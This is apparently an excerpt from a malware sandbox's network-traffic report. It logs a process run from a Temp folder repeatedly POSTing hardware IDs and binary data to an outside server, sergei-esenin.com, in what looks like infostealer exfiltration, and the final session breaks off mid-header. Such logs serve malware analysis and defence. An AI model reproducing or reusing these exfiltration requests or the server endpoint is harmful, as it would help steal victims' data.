2024-10-24 07:08:21 UTC	1369	IN	Data Raw: 4d 54 30 35 30 32 41 44 50 52 62 33 46 6b 48 71 48 45 46 63 30 2b 57 52 79 67 50 68 56 37 68 37 48 79 6c 75 47 62 51 2b 43 4c 4f 68 4c 58 74 56 64 4a 63 76 33 50 63 57 77 75 74 61 6b 70 4a 41 6f 4d 47 4d 6b 2b 46 57 4b 75 37 4e 71 6d 77 61 4e 58 7a 4c 59 33 43 2f 76 68 4e 67 41 4c 79 56 63 74 4e 43 61 39 32 43 32 46 49 6b 6b 34 6f 42 6f 6c 64 37 75 52 79 34 66 73 72 30 65 42 69 31 6f 72 55 35 30 61 65 44 75 68 51 6d 56 52 43 75 44 77 50 66 77 4c 45 43 43 38 4f 68 6c 58 76 37 58 69 6c 75 57 33 59 39 53 32 49 77 50 58 74 52 35 6f 4d 2f 6c 33 53 52 41 79 6b 63 51 78 31 54 70 31 4e 61 30 48 43 55 2f 4f 6a 4c 75 47 62 62 4e 58 71 59 4c 76 4a 2b 2b 52 4b 68 45 54 67 48 73 41 4c 43 36 30 38 55 44 4e 4d 6d 55 63 35 44 70 42 52 35 66 46 36 70 4c 4e 6d 31 66 59 69 Data Ascii: MT0502ADPRb3FkHqHEFc0+WRygPhV7h7HyluGbQ+CLOhLXtVdJcv3PcWwutakpJAoMGMk+FWKu7NqmwaNXzLY3C/vhNgALyVctNCa92C2FIkk4oBold7uRy4fsr0eBi1orU50aeDuhQmVRCuDwPfwLECC8OhlXv7XiluW3Y9S2IwPXtR5oM/l3SRAykcQx1Tp1Na0HCU/OjLuGbbNXqYLvJ++RKhETgHsALC608UDNMmUc5DpBR5fF6pLNm1fYi
2024-10-24 07:08:21 UTC	1369	IN	Data Raw: 52 4b 68 45 54 67 48 73 41 4c 43 36 30 38 55 44 4e 4f 6c 55 67 67 42 59 5a 55 37 4f 35 7a 6f 72 4a 6f 32 2f 38 6f 67 4d 33 78 35 6b 53 66 41 76 39 58 33 55 34 65 70 48 55 45 66 77 4c 53 43 43 77 58 77 67 79 72 7a 48 47 33 74 6b 54 56 36 53 76 4f 31 62 76 7a 44 5a 55 49 76 77 69 5a 54 41 6d 70 64 77 35 37 51 6f 35 4e 4a 51 53 44 58 75 33 69 65 36 32 7a 61 39 66 34 4a 49 4c 4b 38 75 31 66 67 41 48 35 51 74 4d 4c 51 75 46 37 45 44 4d 61 33 48 34 37 47 4a 4e 43 71 64 5a 31 72 37 74 73 77 4c 67 39 77 4e 4f 31 37 55 48 53 58 4c 39 62 32 55 63 4c 71 58 6f 4d 65 30 32 54 51 54 6b 4f 6a 6c 72 35 35 48 61 6f 75 32 54 61 38 53 2b 4a 78 2f 37 67 51 4a 59 44 2f 68 43 58 43 77 75 35 50 46 41 7a 64 49 78 46 4a 79 47 4a 57 4f 4b 6a 61 65 2b 73 4b 39 48 30 59 74 61 4b 38 Data Ascii: RKhETgHsALC608UDNOlUggBYZU7O5zorJo2/8ogM3x5kSfAv9X3U4epHUEfwLSCCwXwgyrzHG3tkTV6SvO1bvzDZUIvwiZTAmpdw57Qo5NJQSDXu3ie62za9f4JILK8u1fgAH5QtMLQuF7EDMa3H47GJNCqdZ1r7tswLg9wNO17UHSXL9b2UcLqXoMe02TQTkOjlr55Haou2Ta8S+Jx/7gQJYD/hCXCwu5PFAzdIxFJyGJWOKjae+sK9H0YtaK8
2024-10-24 07:08:21 UTC	1369	IN	Data Raw: 46 2b 31 58 63 54 77 75 6c 65 67 63 7a 44 4e 78 50 4d 30 2f 61 46 4d 54 45 51 2b 4f 55 55 5a 62 6e 62 4a 65 4b 38 75 59 4e 79 6b 54 7a 55 39 56 44 41 36 64 31 42 48 6c 4c 6c 30 51 67 43 34 35 64 37 75 56 33 70 4c 42 71 30 76 51 6f 69 4d 6e 32 35 55 4b 64 44 4c 38 65 6d 55 77 55 34 53 52 49 56 6c 57 58 52 69 31 50 6e 52 72 79 6f 33 47 74 39 54 4f 57 39 43 75 49 7a 50 44 6d 54 4a 51 4d 2b 6c 6a 64 53 67 71 6e 66 77 64 33 52 35 31 48 4c 77 4f 4d 58 75 72 69 65 71 71 36 59 4e 4f 34 62 4d 37 4e 37 61 6f 56 30 6a 58 38 52 73 35 62 41 4f 46 6a 52 6d 6f 43 6d 30 52 72 56 38 4a 56 2b 65 6c 38 72 37 42 6b 30 2f 73 74 69 63 66 7a 35 6b 65 62 44 50 6c 66 30 46 6b 50 72 58 49 50 66 55 36 53 52 53 45 4d 6a 78 53 6c 6f 33 47 35 39 54 4f 57 31 43 57 44 35 50 37 6d 53 74 Data Ascii: F+1XcTwulegczDNxPM0/aFMTEQ+OUUZbnbJeK8uYNykTzU9VDA6d1BHlLl0QgC45d7uV3pLBq0vQoiMn25UKdDL8emUwU4SRIVlWXRi1PnRryo3Gt9TOW9CuIzPDmTJQM+ljdSgqnfwd3R51HLwOMXurieqq6YNO4bM7N7aoV0jX8Rs5bAOFjRmoCm0RrV8JV+el8r7Bk0/sticfz5kebDPlf0FkPrXIPfU6SRSEMjxSlo3G59TOW1CWD5P7mSt
2024-10-24 07:08:21 UTC	1369	IN	Data Raw: 6d 51 56 4d 70 6d 52 49 4b 77 4b 71 54 7a 73 66 67 52 62 61 39 58 57 33 76 6d 62 61 75 44 33 41 30 37 58 74 51 64 4a 63 76 31 62 57 51 67 2b 75 66 51 46 2f 54 35 6c 42 4c 67 36 45 55 4f 48 70 64 71 65 7a 61 74 50 79 49 59 2f 41 2f 4f 31 46 6c 51 66 74 45 4a 63 4c 43 37 6b 38 55 44 4e 72 6d 31 6f 6c 48 38 4a 4c 70 66 6f 32 70 72 6b 72 6a 72 67 6d 68 4d 58 78 37 55 47 55 41 66 6c 64 32 45 51 4e 6f 58 4d 4d 65 45 75 61 53 53 59 4b 6a 31 44 35 36 58 32 75 75 57 4c 61 39 57 4c 41 69 76 4c 79 44 63 70 45 7a 6c 33 58 52 51 75 33 50 42 63 39 57 39 78 50 4a 30 2f 61 46 4f 72 76 65 61 4b 36 61 4e 58 35 4b 4a 7a 59 2b 65 4e 46 6c 77 6a 30 58 74 39 5a 43 71 35 31 43 33 42 4c 6d 30 41 6e 42 59 46 54 71 36 30 32 70 71 30 72 6a 72 67 42 6d 64 72 34 71 6c 4c 63 48 62 39 Data Ascii: mQVMpmRIKwKqTzsfgRba9XW3vmbauD3A07XtQdJcv1bWQg+ufQF/T5lBLg6EUOHpdqezatPyIY/A/O1FlQftEJcLC7k8UDNrm1olH8JLpfo2prkrjrgmhMXx7UGUAfld2EQNoXMMeEuaSSYKj1D56X2uuWLa9WLAivLyDcpEzl3XRQu3PBc9W9xPJ0/aFOrveaK6aNX5KJzY+eNFlwj0Xt9ZCq51C3BLm0AnBYFTq602pq0rjrgBmdr4qlLcHb9
2024-10-24 07:08:21 UTC	1369	IN	Data Raw: 36 64 79 47 6e 5a 45 6b 30 63 69 42 6f 5a 63 36 4f 4e 79 70 62 4a 75 31 66 51 70 69 63 6e 36 37 6b 53 63 44 66 41 51 6c 77 73 4c 75 54 78 51 4d 32 4f 48 53 79 63 43 77 6b 75 6c 2b 6a 61 6d 75 53 75 4f 75 43 36 41 7a 2f 58 67 53 35 59 42 2b 56 72 63 53 77 65 69 63 77 78 31 52 70 4e 49 49 41 61 44 55 75 37 70 66 61 65 34 61 4e 44 2b 59 73 43 4b 38 76 49 4e 79 6b 54 66 53 39 52 48 43 2b 46 6a 52 6d 6f 43 6d 30 52 72 56 38 4a 66 35 2b 64 78 6f 62 68 6f 33 76 30 6d 68 4d 2f 31 34 6c 2b 61 42 50 68 43 79 30 73 46 70 48 41 4c 63 30 61 61 51 53 30 4d 68 68 53 6c 6f 33 47 35 39 54 4f 57 31 53 36 4a 34 2f 4c 78 44 59 31 4b 35 68 44 65 52 30 7a 35 50 41 6c 34 53 4a 4e 46 4b 41 6d 42 58 2b 37 70 64 36 61 39 5a 73 54 37 4c 59 48 4f 39 65 56 4c 6c 41 58 77 56 74 35 43 Data Ascii: 6dyGnZEk0ciBoZc6ONypbJu1fQpicn67kScDfAQlwsLuTxQM2OHSycCwkul+jamuSuOuC6Az/XgS5YB+VrcSweicwx1RpNIIAaDUu7pfae4aND+YsCK8vINykTfS9RHC+FjRmoCm0RrV8Jf5+dxobho3v0mhM/14l+aBPhCy0sFpHALc0aaQS0MhhSlo3G59TOW1S6J4/LxDY1K5hDeR0z5PAl4SJNFKAmBX+7pd6a9ZsT7LYHO9eVLlAXwVt5C
2024-10-24 07:08:21 UTC	354	IN	Data Raw: 73 30 66 4b 4a 76 50 51 57 46 52 4f 7a 30 65 65 48 37 4b 39 6d 34 65 72 65 4b 2f 4f 31 57 67 78 4c 79 51 4e 34 4c 4d 2b 38 38 45 44 4d 61 33 48 30 6f 41 59 78 54 2f 66 49 37 68 71 4e 68 30 65 67 6c 6d 63 57 31 70 41 32 55 52 4b 63 44 6c 77 73 49 73 44 78 51 49 78 44 48 48 58 68 59 30 67 62 30 72 57 2f 68 6f 79 75 4f 71 6d 7a 4f 32 4c 57 79 44 64 55 48 37 55 4c 66 53 42 71 69 4f 7a 5a 4e 5a 59 5a 46 4c 52 69 54 61 74 58 6b 62 4b 79 7a 66 4d 65 30 4e 34 33 45 2b 2b 31 62 30 6b 71 2f 58 35 6b 54 4e 65 45 30 53 45 77 4d 33 46 42 72 56 38 4a 68 36 4f 31 34 70 71 4e 36 6d 39 38 34 67 38 7a 69 2b 77 33 63 52 50 6b 51 67 52 74 43 34 58 67 5a 4d 78 72 4d 47 6e 42 61 30 51 4f 37 73 57 6e 76 72 43 76 41 75 48 72 63 68 4c 58 34 44 63 70 45 75 46 50 4c 57 51 71 69 61 Data Ascii: s0fKJvPQWFROz0eeH7K9m4ereK/O1WgxLyQN4LM+88EDMa3H0oAYxT/fI7hqNh0eglmcW1pA2URKcDlwsIsDxQIxDHHXhY0gb0rW/hoyuOqmzO2LWyDdUH7ULfSBqiOzZNZYZFLRiTatXkbKyzfMe0N43E++1b0kq/X5kTNeE0SEwM3FBrV8Jh6O14pqN6m984g8zi+w3cRPkQgRtC4XgZMxrMGnBa0QO7sWnvrCvAuHrchLX4DcpEuFPLWQqia
2024-10-24 07:08:21 UTC	1369	IN	Data Raw: 32 36 66 36 0d 0a 75 6c 2b 6a 61 33 39 54 4f 45 74 6d 4b 63 69 71 32 71 43 70 45 57 37 56 62 61 58 51 2f 6d 51 6a 5a 77 56 4a 46 48 49 41 36 38 61 73 58 75 64 36 4b 37 4b 65 66 75 4c 35 37 4a 38 4f 31 7a 72 41 72 34 52 4e 35 46 43 71 45 38 52 6a 4e 4e 33 42 41 53 54 38 6f 55 31 4b 30 32 75 66 55 7a 6c 73 30 68 67 4d 54 79 2f 46 7a 66 4a 2b 6c 64 31 6b 41 4e 34 54 4a 49 64 51 4c 45 47 47 56 50 68 6b 57 72 75 79 62 7a 37 6a 36 46 72 33 4c 63 31 62 76 7a 44 59 52 45 70 77 4b 58 43 78 37 68 4a 45 67 30 54 4a 46 4a 4b 41 47 42 52 76 6e 6c 64 62 65 32 4c 4f 6a 47 41 34 50 42 2b 65 64 43 6d 54 72 42 63 64 52 41 41 4b 78 7a 41 30 31 38 69 55 73 6c 41 59 56 43 2b 71 4d 34 34 62 6f 72 6a 73 46 69 78 6f 72 4b 70 41 32 4b 52 4b 63 51 37 45 67 43 72 33 73 65 59 67 2b Data Ascii: 26f6ul+ja39TOEtmKciq2qCpEW7VbaXQ/mQjZwVJFHIA68asXud6K7KefuL57J8O1zrAr4RN5FCqE8RjNN3BAST8oU1K02ufUzls0hgMTy/FzfJ+ld1kAN4TJIdQLEGGVPhkWruybz7j6Fr3Lc1bvzDYREpwKXCx7hJEg0TJFJKAGBRvnldbe2LOjGA4PB+edCmTrBcdRAAKxzA018iUslAYVC+qM44borjsFixorKpA2KRKcQ7EgCr3seYg+
2024-10-24 07:08:21 UTC	1369	IN	Data Raw: 63 49 4d 71 36 52 31 73 36 64 74 31 65 34 68 79 66 54 4c 7a 31 71 52 46 50 6c 54 35 33 55 6e 72 58 6f 50 61 55 57 61 62 67 74 50 7a 42 54 6b 6f 79 36 59 39 53 4f 57 78 32 7a 4f 30 72 57 79 44 61 63 48 38 56 37 65 58 52 33 73 57 52 39 77 55 70 70 4c 61 30 48 43 55 71 75 37 4a 75 2f 31 62 38 65 34 65 74 36 59 72 72 38 65 78 56 53 74 54 35 64 53 54 4c 63 38 55 43 45 4d 33 46 70 72 56 38 49 54 36 50 46 6b 70 37 5a 39 31 62 38 63 73 4f 7a 32 2b 30 65 7a 43 65 39 58 35 33 55 5a 6f 6e 49 47 64 46 53 4e 43 47 56 50 6a 52 53 7a 32 6a 62 70 2b 57 33 56 37 6d 4b 78 68 4c 58 79 44 63 70 45 79 6c 50 58 52 51 75 33 62 55 56 56 51 59 31 43 43 67 4b 53 55 36 75 74 4e 71 66 31 4d 34 57 32 59 6f 72 62 74 62 49 64 77 46 2b 71 41 34 34 62 58 72 34 79 45 54 4e 55 33 42 42 35 Data Ascii: cIMq6R1s6dt1e4hyfTLz1qRFPlT53UnrXoPaUWabgtPzBTkoy6Y9SOWx2zO0rWyDacH8V7eXR3sWR9wUppLa0HCUqu7Ju/1b8e4et6Yrr8exVStT5dSTLc8UCEM3FprV8IT6PFkp7Z91b8csOz2+0ezCe9X53UZonIGdFSNCGVPjRSz2jbp+W3V7mKxhLXyDcpEylPXRQu3bUVVQY1CCgKSU6utNqf1M4W2YorbtbIdwF+qA44bXr4yETNU3BB5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50003	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:08:22 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=o3_cIchpFPuloNVIOxm9uFB1s4rFy0KGPikbhHN7NRI-1729753700-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: sergei-esenin.com
2024-10-24 07:08:22 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:08:22 UTC	1028	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=shm8qi1jqb11e4rmsstgvaakh5; expires=Mon, 17 Feb 2025 00:55:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j4SpR1ZXSHNkFdhwgaQD7v47MKG85fNv1tJy%2FL5MVFs%2FGvLSO%2B%2FPTNBdjqtiPNls59dMHgFCS%2B%2FnuOvKcluMwnEuSdd0b6R6adOeHDPJ7i0UQ%2FveRiTj%2FEk80fk40x4DHrTkWA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7822a05c68e863-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1299&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13894&delivery_rate=2073013&cwnd=236&unsent_bytes=0&cid=bf8a04169a7de83a&ts=584&x=0"
2024-10-24 07:08:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 07:08:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50005	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:08:23 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=o3_cIchpFPuloNVIOxm9uFB1s4rFy0KGPikbhHN7NRI-1729753700-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: sergei-esenin.com
2024-10-24 07:08:23 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:08:24 UTC	1024	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4vcs0d4d4o78t9i3g7scp1lski; expires=Mon, 17 Feb 2025 00:55:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K%2F44dsvI8HScTgFVLTKL%2B46YsWDP%2Buv%2BjFAirRz3DjRwd2n4NmLqVaqDBPVYFoj4JUL5Re18767kmitk4Q0kaHs8n91rTowrhpcwcXz3LEXHesQUdoIK%2BleAF6ZcngQA29e%2Ftg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7822a90b986c04-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1829&sent=9&recv=21&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16140&delivery_rate=1455276&cwnd=251&unsent_bytes=0&cid=110dc2f306439c6e&ts=431&x=0"
2024-10-24 07:08:24 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 07:08:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50006	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:08:25 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=o3_cIchpFPuloNVIOxm9uFB1s4rFy0KGPikbhHN7NRI-1729753700-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: sergei-esenin.com
2024-10-24 07:08:25 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:08:25 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-24 07:08:25 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1gjq2kpggvb17l5emcamrv3vtp; expires=Mon, 17 Feb 2025 00:55:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dknCCNRG41tuiynnJk8nJNppib9EuO9pZB93G91nxh16UrDatVqAVJOBSSPKBPg7M1nn5uH25EIXyDtzaiQiDIZ03w%2BmhL9rYSKozWPBRw6YotfCu1B640eWOyoX%2F9wLSjQBKQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7822b14b9c2e21-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2168&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21020&delivery_rate=1311594&cwnd=245&unsent_bytes=0&cid=03a310a95ce3755b&ts=702&x=0"
2024-10-24 07:08:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 07:08:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50007	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:08:27 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=o3_cIchpFPuloNVIOxm9uFB1s4rFy0KGPikbhHN7NRI-1729753700-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1239 Host: sergei-esenin.com
2024-10-24 07:08:27 UTC	1239	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:08:27 UTC	1024	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=evhsdk472l6emnc1krf9ast7vp; expires=Mon, 17 Feb 2025 00:55:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c%2F%2FbIxQUpClzrlc%2FNY%2F9PGE%2FjWXXEWxmefSg397HHD7cjBuWyCpQXIYt25AFcng%2BAwjLzGGtvheZTDQHdCkLXUt3HhCDkkq7zcIVSiTpYimEylBaDlmOp6aa6LlcZ8TJPRWy%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7822bdb97ae8ed-DFW alt-svc: h3=":443"; ma=86400 server-timing: 